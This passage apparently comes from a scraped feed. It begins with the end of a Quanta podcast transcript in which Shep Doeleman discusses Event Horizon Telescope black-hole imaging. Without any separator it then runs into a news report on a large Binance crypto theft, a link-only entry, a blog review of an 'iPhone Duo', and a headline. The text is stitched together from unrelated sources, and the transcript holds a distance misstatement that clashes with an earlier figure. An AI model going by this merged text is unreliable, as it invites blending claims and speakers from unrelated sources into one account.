DOELEMAN: I’ll, I’ll put it to you this way. In my group, we spent a lot of time working on instrumentation that would allow a telescope to record information that could then be compared to recordings made at other telescopes. This is how interferometry works on a global scale.

But this was not what these telescopes were doing, so we had to convince these telescopes that we could bring our instrumentation, bolt it in, in some cases manhandle some of their very, very sensitive equipment, operate the telescope in a way that it had not been designed to be operated in, and then take all these disks with data and disappear, and then maybe tell them months later what happened.

And that’s the key thing because we needed to get time on these telescopes, and we had to convince them that this was a worthy project. And we had done enough precursor observations, and we detected event horizon-scale structure in the galactic center in the Milky Way black hole, this is the four million solar mass black hole at the center of our Milky Way galaxy. We detected that, and so they were listening to us, but they were still kinda skeptical that we were gonna be able to pull this off. And it was a lot of cajoling. There was a lot of convincing. There was a lot of applying for time. But we were careful, and we produced results all along the way. And then people began to realize you might actually pull this off. And so they kinda let us in. They gave us the keys to the observatory…

LEVIN: Uh-huh.

DOELEMAN: … Like “Have it back by midnight.” You know, that kind of thing.

LEVIN: Right. I also wanna return to the idea of the atomic clock, because these atomic clocks are so precise that, what you lose a few seconds over the age of the universe?

DOELEMAN: Uh, well, no, they’re not, they’re not that good. And I’ve been around for most of the age of the universe, so I know. So yeah, so the key thing is that when you record the radio waves at any of the Event Horizon Telescope sites, you need for the signal not to jitter.

It has to be stable so that when you have another one, they line up in just the right way. And if the signal is jittering back and forth because your clock is imperfect, you’ll never be able to line up these waveforms from different parts of the Earth.

So you need a super stable clock. We use hydrogen maser clocks, and these lose about one second every 10 million years or so, and that’s the stability that we need in order to keep everything stable.

LEVIN: I see.

DOELEMAN: I remember being at the Large Millimeter Telescope in Mexico and watching as they winched one of these atomic clocks up the central part of a helical staircase, and just like wondering what I was doing at 15,000 feet watching this precision timepiece being winched up and into place.

And then we put it into a wooden enclosure because, you know, it needed to be at a certain temperature, and we used light bulbs inside to heat it to just the right temperature. So you get very imaginative when you’re at the top of a mountain, how am I gonna keep this atomic clock you know, swaddled?

LEVIN: Right. And you still need for nature to comply, ’cause you need the weather to go your way. You can’t have snow accumulating in the telescope. It can’t freeze if you’re trying to point it. And so there is genuinely a lot of that in making an observation.

DOELEMAN: Well, so every evening before we trigger the observations, we have to make sure that the weather is good everywhere.

LEVIN: Now, when you’re stringing all these instruments together and you have these incredibly precise atomic clocks, and so you’re lining up the crest so you’re now have one big eye taking in these objects that looking in a certain direction and focusing on a particular object, how good a resolution have you gotten?

DOELEMAN: So for example, the supermassive black hole in the center of the Milky Way galaxy is 4 million times the mass of the sun. At the distance of the center of the galaxy, about 27,000 light years, the whole lensed part of the event horizon subtends about 50 microarcseconds.

Now, that’s insanely small. That’s like, you know, if you’re in New York City and your friend is holding a quarter in Los Angeles, you can read the date on that quarter. Or if there’s a tangerine or really a citrus fruit of any variety on the moon, you could see that fruit. Even a pomelo, possibly a tangerine.

LEVIN: Let’s not be picky.

DOELEMAN: And, so we’re, we’re trying to get the highest angular resolution possible from the surface of our planet. That’s what’s needed.

LEVIN: So when we’re talking about these black holes, even the one that’s closest to us, which you just mentioned at 27,000 light years away in the center of our own Milky Way galaxy, is barely, barely on the edge of visibility. What other supermassive black holes could we possibly see?

DOELEMAN: Well, so we’re lucky in the sense that we have one, Sagittarius A*, that we felt for sure we could image. And then there was another one, M87, which is in the constellation Virgo. That black hole is about six billion times what our sun weighs, but it’s fifty-five million light years away. So it’s about two thousand times farther away, but it’s also about two thousand times more massive. And the event horizon scales with mass, so its angular size is about the same as the supermassive black hole in the center of the Milky Way galaxy.

LEVIN: Now, I remember when you sent me a note saying there’s going to be a press conference. So I come racing out to the National Press Club in Washington, DC ’cause I know you’re not holding a press conference to tell us you failed. So here is the moment, where you’re about to reveal the first picture humanity has ever procured of a black hole ever. And I’m expecting what we call Sagittarius A*, our own black hole in the center of the Milky Way that we’ve been discussing. But instead it’s M87. I did not expect this. Were you surprised that that’s what you were able to resolve first? Did you know people like me would be surprised?

DOELEMAN: You know, it all makes sense when you look back on it. Of course, Sagittarius A* was the preferred candidate. We’re all in love with our own supermassive black hole in the center of the Milky Way galaxy.

But there’s a problem with Sagittarius A* as much as we love it, because it’s only 4 million solar masses, the time it takes matter to orbit Sagittarius A* is only about half an hour. Now, what that means is that during a night of observing, the thing you’re trying to take an image of is changing in its appearance. Things are orbiting around it, it’s burbling, it’s turbulent, and it looks different from one moment to the next. In aggregate, averaged, you would see this ring, but from moment to moment it would change.

So even from first principles, we should have realized that imaging that source would’ve been much more difficult, whereas M87*, is 6 billion solar masses, so the timescales scale with mass. So during a night of observing, it’s essentially stationary. It’s not changing its appearance at all, so you can add up all the data you take during a night of observing with all the changing look directions and the changing baselines as the Earth is turning to build up a very, very good image. So, that’s the one we came with first because it was much easier to image. But being able to announce that discovery, and knowing that there was astronomers who were experts who were taken by surprise, that was actually kind of cool about the whole thing.

LEVIN: [ Laughs ] Yeah.

DOELEMAN: We finally did come with an image of Sag A*, but only after we had overcome the algorithmic problems of how to deal with something that’s changing while you’re looking at it. So we have two of these sources, and we’ve imaged both of them with the Event Horizon Telescope.

And when we laid a ruler across the spacetime of the event horizon, we did verify that for their mass, they’re exactly the size that Einstein predicted, to within the uncertainty of our measurements, which is the best evidence that we have for the existence of supermassive black holes in the centers of galaxies. And also, yay for Einstein. He keeps passing all these tests that we throw at him.

[ Music plays ]

STROGATZ: It’s very inspiring to listen to the story of how much science goes in to make the stunning image that a billion people or whatever got to see. How much fundamental science between the atomic clocks, the idea of interferometers, all the general relativity…

LEVIN: I totally agree that this remarkable precision of the clock that they needed, and the industriousness of being on the edge of observability, I mean, it really was almost impossible. You could totally have imagined that somebody would’ve said, “This is ridiculous. Give this up. You need a telescope the size of the Earth, so move on to something else. We’ll never see a picture of any black hole ever.”

And instead, they thought, “Well, how would I make a telescope the size of the Earth,” and calling on observatories that had been in use for other purposes, as opposed to building a fundamentally new instrument.

So I just loved so much that went into it: the preexisting observatories, the notions of the timing having become so precise and linking it together just on the edge of observability. Really, it’s just a few pixels that they have.

STROGATZ: You raise an interesting point about existing observatories. I hadn’t appreciated that, that unlike LIGO, Ray Weiss and that vision where you had to create a whole new instrument to get the gravitational wave detection, in this case, the observatories existed, but the ingenuity seems to be the coordination. But I’m sure there must be much more to it than just that.

LEVIN: Yeah, I mean, but no, the coordination was no mean feat. It really was. It was a lot of that. It was a lot. And realizing it was possible, just the fact that they could accurately enough link up just a couple of telescopes in the beginning, that they could do that proof of concept.

There’s a great New York Times article about it actually long before they succeeded, just following them up a mountain and the radio dish freezes and there’s piles of snow in it, and they have earthquakes and all they’re trying to do in those early runs was just prove the concept was possible.

And, so a lot of it did not involve building new instruments, but some of it did rely on new instruments being built for a larger purpose with a larger audience in mind and getting time on that instrument.

STROGATZ: Okay. One thing I was wondering about it, wasn’t there indirect evidence for the existence of black holes going back many years?

LEVIN: Oh, yeah. You could see things changing on a timescale that was so fast it suggested a very small object, but the amount of power coming out suggested a very massive object, and that’s exactly what you’re looking for in the combination of a black hole.

So like X-ray jets coming out when a black hole’s cannibalizing a neighboring star. So these are star-sized black holes, not supermassive black holes. But it’s very indirect. You’re quite far out when you’re seeing those jets. You’re collecting X-rays. The jets are huge. You’re nowhere near honing into that shadowy region, which is the defining character of a black hole.

And so what they’re achieving by getting in so close is testing strong field gravity, a gravity where it’s even stronger than what you see when you’re looking at a star being cannibalized, surprisingly.

And so, that’s why people look at it as tests of general relativity because general relativity predicts the event horizon. That’s the prediction. That’s the golden ticket, you know? And indeed, that’s what they’re seeing. They’re seeing something a little bit bigger, a little bit outside because the light is orbiting a little bit further out, but so close that it is really an incredibly strong test of the success of that prediction.

STROGATZ: Uh-huh. And so that’s how we should hear when Shep says, “Yay, Einstein.” It’s for that kind of thing?

LEVIN: Yay, Einstein. There sure looks like there’s an event horizon, you know? And that we couldn’t say with that kind of confidence.

So there was a Nobel Prize awarded for observing stars orbiting Sagittarius A*. And they were patiently watching those stars for 17 years, and from their orbits deducing that there was a supermassive black hole at the center of our galaxy. And so this is much closer in. He’s seeing stuff with the Event Horizon Telescope that’s much, much closer and shorter timescales.

STROGATZ: Mmm-hmmm.

LEVIN: What’s exciting though about Sagittarius A* and the fact that it is changing on such a short timescale, is that they’re now working on movies.

STROGATZ: Huh.

LEVIN: The next big release that we can anticipate from this project is that we’ll watch the stuff orbit around the black hole in real time, and that’s remarkable. But to hear about that, you’ll have to wait until after the break.

[ Music plays ]

LEVIN: Welcome back to The Joy of Why . We have Shep Doeleman here telling us about the first images ever taken of a black hole.

So you decide to go for M87, and you make this announcement. A billion people around the globe watch this reveal. What is that like after two decades of working on this?

DOELEMAN: It was pretty amazing. It was humbling. There were times when I was close to tears during part of this because you work for something so long in your career, and it winds up being so meaningful, and then to see that it’s impactful for others is startling. I mean, it was on the front page of most newspapers around the globe, and you realize it touches a core because you’re seeing something for the first time.

And so it was with awe, humility, but also wonder, a lot of relief because after 20 years, it’s a lot of work and effort under the bridge. But also the team that came together to realize it was very special. We needed 250 people to pull this off. And we’d been through a lot together.

LEVIN: Yeah. How is this process for you? Are you, I mean, is it in a moment that you see it or is it over months?

DOELEMAN: It’s a slow burn in a certain way. So, the first thing you see is just a graph, a two-dimensional graph. And you see on the Y-axis, it’s the amount of energy the two telescopes that are widely separated are seeing. On the X-axis, it’s the distance between the telescopes. And what happens is that if you see a ring, you’d see a characteristic bounce in this graph, and that’s what we saw. So, we plotted up the data, and without making an image, and we saw this characteristic bounce, and we realized there’s something really special about these data.

I think there’s a picture of me at a fancy dinner. I’m wearing a tie and one of my post-docs is showing me the data for the first time, and there’s a picture of me going like, “What am I, am I looking at?” And I came back to my office that night, and I went through the calculations based on where these bounces were, and I realized it’s exactly the size it’s supposed to be, right?

So that was the first indication that we had something. And then we started imaging. So we had been perfecting these imaging algorithms on synthetic data. We’d fed these algorithms made-up data. So we would take a black hole image that we might be looking at. We’d corrupt it with noise, and we’d send it through these algorithms, and we’d refine these to the point where we were pretty confident in these algorithms.

But before we set these loose on the data, we also realized that human error or human groupthink could be a really big problem. So we split our teams up into four groups. Each group had the data, but they could not talk to each other because we wanted to make sure that we all weren’t in the same room thinking like, “I see a ring. Do you see a ring? I see a ring.” And it’s not a ring, right?

So we had four different geographically separated groups, and they all used different algorithms. And then we all came together to the building where I am sitting right now, the Black Hole Initiative at Harvard in July of 2018, and we were in the basement of this building, and the four teams put up their images, and they were all rings.

That was a moment where there was a lot of crying and screaming. Uh, and, and then we all, and then we spent the next six months trying to make those rings go away. So we would train the algorithms on everything except for rings.

So they became very good at imaging double sources, or they became very good at imaging filled disks. And then we would set them loose on the data, and they would always come back to the ring. And that’s when we also knew in a more robust way that the ring image was real.

LEVIN: Let’s talk about the ring image again. You’ve alluded to why it looks this way. There’s material splattered around the black hole that’s orbiting outside of the event horizon, to be clear, and but close, really close. You mentioned some observations of things in orbit around the black hole were thousands of times the event horizon away, way too far to have any confidence.

These are right on top of the event horizon, maybe 1.5 the event horizon, something like that, really up against it. And, and so really the black hole is just a dark shadow in the center of this bright ring, and that’s what you’re trying to isolate. But if I was looking at a ring like the rings of Saturn, that’s not gonna isolate the shadow for me.

So can you talk us through again how the light from behind the black hole allows us to have it enveloped so that we can actually see the shadow cast?

DOELEMAN: Yeah. The way this works is that when you’re so close to the black hole, the paths of light, which normally would travel in a straight line, is forced to travel along the curved spacetime. And so it’s really tracing the metric of spacetime. It’s tracing the gravitational well that it finds itself in.

So when light leaves hot gas that’s swirling around the galactic center, let’s say, it starts off, but then instead of going in some straight line, it’ll curve around and come to you. So all the light from behind the black hole is being lensed around to form this ring.

And it’s the size of this ring that is given by Einstein’s equations. And you get these crazy factors like two the square root of 27. G is Newton’s gravitational constant, M is the mass of the black hole, c is the speed of light. But you realize that the diameter of this ring basically just controlled by the mass of the black hole.

LEVIN: Yeah, there’s nothing, there are no ingredients in there that aren’t fundamental facts of nature except the mass of the black hole. And that’s, I think people don’t appreciate how black holes are fundamental in that way. There’s… all stars are kinda different. Different colors, but, you know, black holes are essentially their mass. Sometimes they have electric charge, sometimes they spin. But that is the whole story that is so stunning about them. They’re almost featureless.

DOELEMAN: Yeah, yeah. Now the cool thing is that imagine there was an astronomer on the other side of the galaxy. They would see a ring too, because they would see all the light from where we are lensed around in their direction. So any civilization, and we can talk about different civilizations in the Milky Way if you want to, but anyone in the Milky Way galaxy would be seeing the same thing we are.

So if anyone’s curious about testing Einstein’s theories or whatever theories have been concocted by another civilization, they would be curious about this same object that we’re looking at.

LEVIN: Do you know what you made me think of is that when we try to send alien civilizations, that we hope exist but have not yet discovered, a message that says, “We’re thinking about the same things you’re thinking about,” we sometimes use like rational numbers or irrational numbers or special signals. What if we showed them a picture of the black hole? Because they see the same picture.

DOELEMAN: I think that would be a very good way to communicate. I mean, we sent out the golden record in the Voyager spacecraft, and I think that’s interesting. I think showing them something that they may already know would also be very interesting.

LEVIN: That is wild. I did wanna return to something which is gonna push us into the future. You were describing how Sag A* was alive. You know, it’s moving, it’s changing, and this very much speaks to the next generation. You’ve already mentioned going to even higher angular resolutions. I’ll ask you how you’re gonna do that. But also it suggests that maybe you can take movies. And so where is Event Horizon Telescope? Where is that project going now? What’s the next gen? And you do call it next gen, don’t you?

DOELEMAN: I know. It’s in the most unimaginative, unoriginal way possible. So we’ve taken still images of black holes, and with any great discovery, they just raise the next set of questions. So the next natural thing to ask is, can we make a movie of the black hole and see not just light bending around, but the motion of matter as it orbits the black hole?

Because this will be the key to other even more sensitive tests of Einstein’s theory. But it will also unlock the astrophysics, the processes that allows these supermassive black holes to launch those jets that I was telling you about. So there’s every reason for us to keep going, and the key is adding more radio dishes around the globe.

If we can add more radio dishes, we’ll fill in the Earth-sized virtual lens much faster. The number of connections goes as N times N minus one, so there’s a quadratic factor in there. So you don’t just get one more telescope, you get all the connections to that telescope. And also, having more telescopes ensures that as the Earth turns, you always have a critical number to make the next frame in a movie.

Five sites that are critical to allowing this to happen: One is in Chile, one is in Mexico, one is in Wyoming, and one is in the Canary Islands, and a fifth in Tanzania on the slopes of Mount Kilimanjaro would also be very, very nice to have. If we had all those, and we were observing at the highest frequencies, we can absolutely make movies of black holes, and high definition, high sensitivity, full color movies of black holes.

And this is the next step. I’ll just say we’ve secured all the funding to build the first telescope in the Canary Islands. I’ve now summited Mount Kilimanjaro twice, scouting for locations to build a telescope up there.

LEVIN: Wow.

DOELEMAN: This is what I live for. I live for putting steel on mountaintops. uh, and Kilimanjaro by far is the best site in the entire African continent to make these kinds of measurements just because of its altitude. Now that being said, it’s a very sensitive site, so we started over three years ago working with The Open University of Tanzania and other institutes in Tanzania to develop the idea. We’re still quite a ways off from doing everything.

The most important thing is to get the technical possibilities in line, and equally important, if not more important, is to make sure that everyone who’s affected at all levels, economic, social, educational, cultural, are all approving it. And what I tell the team is, “No is an acceptable answer, full stop.” But if we can, then I think it would be a tremendous asset for the country, for the community, for education, and of course for astronomy. So by the early 2030s, I think we’ll have real movies of an event horizon.

LEVIN: And what’s the payoff for a movie scientifically? I mean, obviously it’s gonna be thrilling. I’m gonna wanna see it. But beyond just the thrill of it, what can I extract from watching a movie that I can’t from a still image?

DOELEMAN: So there’s a couple things. So one is that spin is elusive. So, a, a black hole basically has only a few characteristics that define it. Its mass, its spin, maybe its charge, but most of the astrophysical black holes that we know of probably have charge equalized, because there’s plasma around it that would do that. So the mass is pretty easy. The size of this ring is directly related to mass. We’ve checked that one off.

But the spin of the black hole imprints its history, like how it grew over time, and the spin also tells you about the frame dragging, the warping of spacetime as it spins. And to get a handle on that, you need to really look at dynamics of matter.

To give you a sense of the problem, if you have a black hole and it’s spinning not at all, you get one size of the ring related to its mass. If it’s spinning maximally, the fastest it can ever spin, you see the same ring, but it’s just about 4% smaller, okay? So spin is not measured well by looking at the shadow of the black hole that we’ve already seen.

But the time it takes matter to orbit the black hole, that for Sagittarius A* ranges from half an hour if it’s not spinning to four minutes if it’s maximally spinning. Now we have an indicator, now we have a measurement we can make that would tell us cleanly what the spin is. So, the biggest payoff for astronomers and physicists is that we can make a precise measurement of spin by looking at matter orbiting the black hole.

LEVIN: Yeah. Spin is definitely a very interesting aspect. I would say I don’t buy that black holes are neutralized, but if you have a spinning black hole in a magnetic environment, which presumably you do have magnetic fields from all of that hot plasma, then its actual low energy state is charged.

DOELEMAN: Interesting, yeah.

LEVIN: I think I wouldn’t exclude charge too out of hand.

DOELEMAN: Let’s not exclude it. Let’s just measure it.

LEVIN: Let’s not, man. I’ve been trying to talk to you about this for years.

DOELEMAN: But Janna, you said something really interesting. ’Cause you said, “Well, what if the black hole could be charged?” And I couldn’t agree more. When we unlock the dynamics with these movies, we’re not just gonna see the unpolarized light. We’ll see polarized light, which will trace magnetic fields. So we’ll see not just the shape of the spacetime, but also the morphology, the shape, the configuration of the magnetic fields threading that spacetime. So that would help disentangle these battery models that you’ve come up with which are really cool.

The other thing I would say is that shame on us for just thinking about GR. I mean, there are other objects out there that are not black holes, right? And one of the cool things about the work we’re doing is that we’re beginning to make some of the first tests to rule out these exotic objects that can be black hole mimickers.

These are objects that are just large enough so that they’re a little bit bigger than the event horizon, so they have a surface of some kind, but in all other ways mimic the black hole and its gravity. And we’re at the point now where we can start to combine the EHT observations with infrared observations, where you would predict that if you had a surface, it would glow in the infrared, and we are now putting limits on that. So with the EHT observations and observations from other wavebands, we’re starting to rule out even non-black hole solutions.

LEVIN: So, you have two things on the horizon, so to speak, which include making movies of the objects that you’ve already resolved, but also new candidate black holes. That’s really thrilling. You were just saying, well, what’s beyond GR? What other objects can you look at besides black holes?

DOELEMAN: Oh yeah. So, even now, the EHT, Event Horizon Telescope, is a bit democratic, so other researchers who are not in the collaboration can still apply for time on it, and there’s been like one or two cases I think where that’s happened. But also more to your point about what else can we look at, we train the Event Horizon Telescope not just on Sag A*and M87, but on many radio loud quasars. So these are supermassive black holes that produce these jets of oppositely directed matter, and we’re able to get the best angular resolution that you can get on those sources. So we’re studying the propagation of jets, the collimation of those jets.

They’re very far away, but we can get the best most detailed images of them using the EHT. So it’s advanced our understanding of how jets are produced and how they maintain their shape very far from the black hole. And then there’s also a couple of other objects we can look at.

When stars die, they release some of their atmosphere, and so you can wind up with a red giant star with a molecular soup around it, and the light from the star pumps that molecular soup, and you can get effectively a laser the size of the star.

And around the edge of the star, around the limb of the star, you can get pinpoints of laser light in the radio, and these can be now observed with the Event Horizon Telescope too. So we may be able to see stars breathe in and out by using the Event Horizon Telescope with these molecular lines.

LEVIN: Now, you said the timescale is 2030s?

DOELEMAN: Early 2030s?

LEVIN: Early 2030s. And then you think you’ll be online, then it’ll take a couple of years to collect data?

DOELEMAN: Actually, I think we’ll be able to produce images very quickly. So when the first time we imaged a black hole, we had no idea what we were doing. Well, we knew what we were doing, but we had never imaged a black hole before, so we proceeded extremely carefully.

Now that we understand the instrument much better, now that we’ve imaged these black holes multiple times, now that we have great confidence in our instrument. We’re developing imaging techniques now that will process the data and image it within days.

LEVIN: Wow.

DOELEMAN: So, I don’t think we’re gonna have to wait another two years as we did the first time.

LEVIN: So, you described this childhood experience of seeing an eclipse, something essentially rendering the sun nearly invisible, right? But then the moon renders the corona, the outer atmosphere of the sun, visible. And in some ways, this has been a thread through a lot of your work and your curiosity since then. Do you still find that same joy?

DOELEMAN: I really do. The ability to see something for the first time, the ability to see something hidden, the ability to coax this image from the black hole when it does everything in its nature not to be seen is really special. It’s the work of a lifetime, of a career and more than that, it just- it fills me with an intense joy to be able to do this.

I feel as though the team here is doing something almost sacred. We’re getting to the heart of something, and we’re bringing it to the planet. You can get the best people working on something from across borders, and you are fixated on a common science vision, and together you can do what individually you can’t. That’s a lesson I think that we can take broadly across the globe.

LEVIN: Hmm. Well, that’s beautiful, Shep, and I’m grateful and I’m looking forward with anticipation to see what’s next. Thanks so much for joining us on The Joy of Why .

DOELEMAN: Oh, it’s a great pleasure, Janna. Thanks for having me.

[ Music plays ]

STROGATZ: I love hearing that. This image of the scientists from all over the planet and also the cool places that you get to go if you’re in this line of work, the Canary Islands, Mount Kilimanjaro.

LEVIN: Yeah. It’s kind of funny they had to explore here on Earth so that they could explore way out there.

STROGATZ: And so what is it about seeing an image emotionally, do you think? I mean, I realize this is getting into psychology rather than physics, but why is it so important for us to have that gorgeous picture of the ring with the blackness inside it?

LEVIN: I mean, it’s thrilling. We are observers of the sky. We look at the sky and it was our first instrument in many senses, and our first clock and our first recognition that, wow, there’s something beyond this Earth. And so I think just the idea that here we are looking at something — literally looking at it two million light years away — that is extending our cosmos even further out. I just think that is a human disposition to be thrilled by that.

STROGATZ: Uh-huh. You guys in your conversation mention that the moon just happens to occlude the sun. It just happens that the moon is the right size, given its distance and given the sun’s distance and given the sun’s size, that it can block the sun, but not totally. Lets you see the corona, okay.

Do you think that this might have something to do with the human belief in miracles and gods? That because early people might have observed solar eclipses, that it’s such a bizarre coincidence and so, so what? So scary that the sun goes black at some point. Like maybe that gave us a sense of wonder as a species, and if the astronomical coincidence hadn’t been there, maybe we wouldn’t have ever started asking why?

LEVIN: Hmm, that’s so interesting. There’s so much mysterious about the universe, I feel like even just the sun rising and setting day after day. But it is remarkable the moon is 400 times smaller than the sun, but 400 times closer, and that crazy accident gives us the best eclipses in the solar system, if you ask me.

But, famously there was an eclipse that speaks to your question. It was something like 500 in the Common Era, I think, where there was a war that had fully broken out and somewhere around now modern-day Turkey. And in the middle of a battle there was a total solar eclipse, and apparently both sides put their weapons down and made peace. [ Laughs ] Fearing, fearing the rage of the gods. They thought better of their circumstances.

STROGATZ: We need more of those eclipses. Well, this has been a really interesting discussion, and I really appreciate your expertise walking all of us listeners through this topic of black holes. and it really is a very uplifting subject.

LEVIN: Well, It was quite remarkable. I think there’s more ahead.

STROGATZ: Looking forward to the next encounter.

LEVIN: To the next encounter.

[ Music plays ]

STROGATZ: If you’re enjoying The Joy of Why and you’re not already subscribed, hit the subscribe or follow button where you’re listening. You can also leave a review for the show. It helps people find this podcast. Find articles, newsletters, videos, and more at quantamagazine.org.

LEVIN: The Joy of Why is a podcast from Quanta Magazine , an editorially independent publication supported by the Simons Foundation. Funding decisions by the Simons Foundation have no influence on the selection of topics, guests, or other editorial decisions in this podcast or in Quanta Magazine .

The Joy of Why is produced by PRX Productions; the production team is Caitlin Faulds, Jade Abdul-Malik, Genevieve Sponsler, and Merritt Jacob. The Executive Producer of PRX Productions is Jocelyn Gonzales. Edwin Ochoa is our project manager.

From Quanta Magazine , Simon Frantz and Samir Patel provided editorial guidance, with support from Samuel Velasco, Kit Sudol, Simone Barr, and Michael Kanyongolo. Samir Patel is Quanta’s Editor-in-Chief.

The episode art is by Chanelle Nibbelink and our logo is by Jaki King and Kristina Armitage. Special thanks to Garth Avery at the Cornell Broadcast Studio.

I’m your host, Janna Levin. If you have any questions or comments, please email us at [email protected] . Thanks for listening.

[ Music ends ]

Binance links $6.3 billion crypto theft to compromised DevOps laptop

Bleeping Computer
www.bleepingcomputer.com
2026-10-30 05:18:13
Binance, the world's largest crypto exchange, has linked the theft of about $6.3 billion in cryptocurrency to a DevOps engineer's compromised laptop. [...]...
Original Article

Binance

Binance, the world's largest crypto exchange, has linked the theft of about $6.3 billion in cryptocurrency to a DevOps engineer's compromised laptop.

The crypto exchange said the access let attackers submit unauthorized withdrawal transactions after they accessed a service container, and it hasn't yet found evidence of a leaked wallet private key.

"To be clear: the attacker did not simply use one engineer's permissions, and this was not a single 'one-click' action. It involved a more complex attack process. Our investigation has not attributed responsibility to any individual," Binance Co-CEO Richard Teng said .

Binance also said it "uncovered additional points of breach" but was "still gathering the facts, and will share more directly as we have them."

The company confirmed the breach in a statement shared with BleepingComputer on Thursday and reassured customers that their funds were safe.

"Binance will cover all losses from the SAFU fund and the company's funds. User funds are safe. We will also publish an updated Proof of Reserves once the remediation is complete," it said .

Since the attack, Binance has suspended deposits and withdrawals while it conducts security checks, revoked authorizations for the affected address, and is working with blockchain intelligence partners and law enforcement to trace and recover the stolen funds.

Crypto theft linked to North Korean hackers

Although the company didn't link the incident to a hacking group or threat actor, blockchain analysis firm TRM attributed the attack to TraderTraitor , a North Korean state-backed hacking unit also tracked as Lazarus Group and APT38 .

"On October 29, 2026, an attacker moved approximately USD 6.36 billion out of Binance wallets on ten blockchains, most of it in about 20 minutes starting at 20:05 UTC. That makes this the largest crypto theft on record, about four times the USD 1.5 billion Bybit hack of February 2025," TRM said .

Blockchain intelligence firm Chainalysis confirmed TRM Labs' findings , stating with "a high degree of confidence" that TraderTraitor is responsible for the Binance $6.4 billion hack.

Chainalysis DPRK tweet

While stablecoin issuers Tether, Circle, Ripple, and others have frozen roughly $2.7 billion since the incident, the attackers still have control of about $2.4 billion that can't be frozen.

"Tether, Circle, Ripple and World Liberty Financial froze about USD 2.67 billion in stablecoins, and Arbitrum's Security Council froze 8,426 ETH and 74.6 million ARB on its network, for a total of roughly USD 2.7 billion," TRM added.

"The attacker raced the freezes by selling USDT to market makers and borrowing ETH against USDT on Aave. It now holds more than 420,000 ETH and 18,270 BTC, about USD 2.4 billion in assets beyond any issuer's reach."

The TraderTraitor hackers were previously linked to many other major crypto theft incidents, including the theft of $1.5 billion in the February 2025 Bybit hack . At $6.36 billion, the Binance attack is now the largest recorded crypto heist.

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Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

elect.horse

Hacker News
elect.horse
2026-10-30 05:14:34
Comments...

I Returned My iPhone Duo

Hacker News
codakuma.com
2026-10-30 05:00:41
Comments...
Original Article

29 Oct 2026

Last week I got an iPhone Duo. Six days later, I swapped it for an iPhone 18 Pro Max. Here’s my review of the Duo, and why I ultimately decided it wasn’t for me.

I’ve had iPhones since the iPhone 3G in 2008 – almost twenty years now. In that time we’ve seen the screen size increase a lot and the removal of the home button, but the form factor has otherwise stayed the same.

I used to think this was a bit boring. I’d get a new phone, restore it from a backup, and then think “what now?” It wasn’t usually appreciably different than my previous phone, and I felt like I missed the pre-iPhone days when I’d switch form factors all the time to try new things: a Sony Ericsson slab phone , a Samsung flip phone , a Nokia with a truly bonkers keypad layout. I even tried a Windows Mobile phone for a spell.

Because of this I was really excited to get the Duo. The idea of a phone that was new and different sounded great; especially the way it could become a tablet when needed.

However, there were a few downsides for me which I couldn’t really overcome. Ultimately I felt that I could learn to live with them, but if I’m going to drop £2,000 on something I don’t want to feel like I’m making a compromise.

What I liked about it

I really enjoyed it as a developer. I spent a long time getting my app Personal Best ready for the Duo, and it was a lot of fun. My favourite part was Replays, where the interface changes depending on the pose (closed, open landscape, open portrait, laptop, or partly closed). The first time I got to try it out on a real Duo it felt like the first time I made an app all over again. Plus, it was fun trading tips and techniques with friends to get our apps ready.

The big inner screen is lovely, and I especially love the matte finish. It looks almost like magic; a living piece of paper. When I was on the tube here in London it was so nice to have a tablet on me at all times.

The compact shape when closed meant that it easily fit into my pocket. After years of Max-sized phones, this was a big positive. I was also worried that I’d struggle to use it due to being left handed, but I never encountered any problems with that.

StandBy mode was a fun extra. While working I’d prop it up on my desk showing the weather, photos, and a clock.

The outer screen is surprisingly nice to type on as it’s so wide. It’s the perfect width for a good typing experience.

What I didn’t like about it

Touch ID

I really, really missed Face ID. It does such a good job of working seamlessly that I only realised how good it was once I no longer had it. I did get more used to Touch ID as the week went on, but it never stopped feeling like a downgrade. It was especially annoying when the Duo was unfolded as you never quite know what edge the Touch ID sensor is on.

The outer screen

The small screen wasn’t really for me, either. It felt cramped, which seems silly as it’s not that much shorter than a regular iPhone, but I felt constrained every time I used it. And when closed it feels quite dense and heavy, so my fingers would feel fatigued after holding it for a while.

Apps

A lot of apps have been updated to work well with the Duo, but many of them still felt subpar. Some examples of this are Instagram, which works fine but doesn’t make good use of the space at all. X uses a custom tab bar (sigh) which doesn’t move into the horizontal safe area, so you just get a stretched phone layout.

Some of Apple’s own apps adapt to the size really well. Clock is a good example – it switches from a list of alarms to a grid, and tapping on one opens the alarm settings in a popover instead of a new view. Other apps like Messages and Mail switch to a sidebar + detail layout which fill the screen but don’t feel appreciably better than the compact layout. I don’t consider this an indictment of the Duo, more a commendation of how simple-to-use these apps are on compact screens.

Even with time, I’m not convinced that most apps will adapt well to the Duo. It’s a tricky form factor and you need to go through Apple’s Human Interface Guidelines carefully to get everything just right. I spent a lot of time adapting Personal Best , but I’m not confident that your average app will bother to do the work. Can you imagine the likes of Reddit or your average banking app taking the time to do it properly? Not just moving the tab bar to the side, but also the crease avoidance, selectively putting background content into the safe area, and those other small nuances. I just don’t see it happening, but I very much hope to be proven wrong.

I do wonder if iOS changing so drastically for the Duo will be to its detriment in the long term. It never stopped feeling like a slightly worse version of iOS. Moving controls to the sidebar just didn’t feel as natural as having them at the top/bottom of the screen.

Cameras

I missed the telephoto lens.

Choosing

Every time you pick it up you have to decide if you’re going to struggle through using the outer screen, or open it up and use the bigger one. If you’re using the bigger screen you’re committing to using it with two hands, which makes it a little more cumbersome for short tasks where you pick it up to check a notification or send a quick reply to a text.

Is this a small thing? Of course, and it’s a great problem to have. But I have enough anxiety in my life and I didn’t like having an additional source of it, no matter how tiny it was.

Conclusion

The Duo is a great phone. It feels solid. It’s fun to use, like getting an iPhone for the first time again. But it’s just not for me in its current form. With Face ID and some software tweaks, I think it’ll be more compelling and I’d definitely consider it again.

Also as a counterpoint, my partner also got a Duo and loves it, so take my opinion with a pinch of salt. Just because it wasn’t for me, doesn’t mean you won’t love it.

Finally, whether or not you have a Duo, you should check out Personal Best .

Thanks for reading.

To get in touch, email me or find me on Mastodon .

If you liked this post, you'll love my iOS apps. Check them out below.

Personal Best

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VictoriaLogs vs Loki, Elasticsearch, OpenSearch, SigNoz and ClickStack on structured log ingestion

Lobsters
victoriametrics.com
2026-10-30 04:39:47
Comments...
Original Article

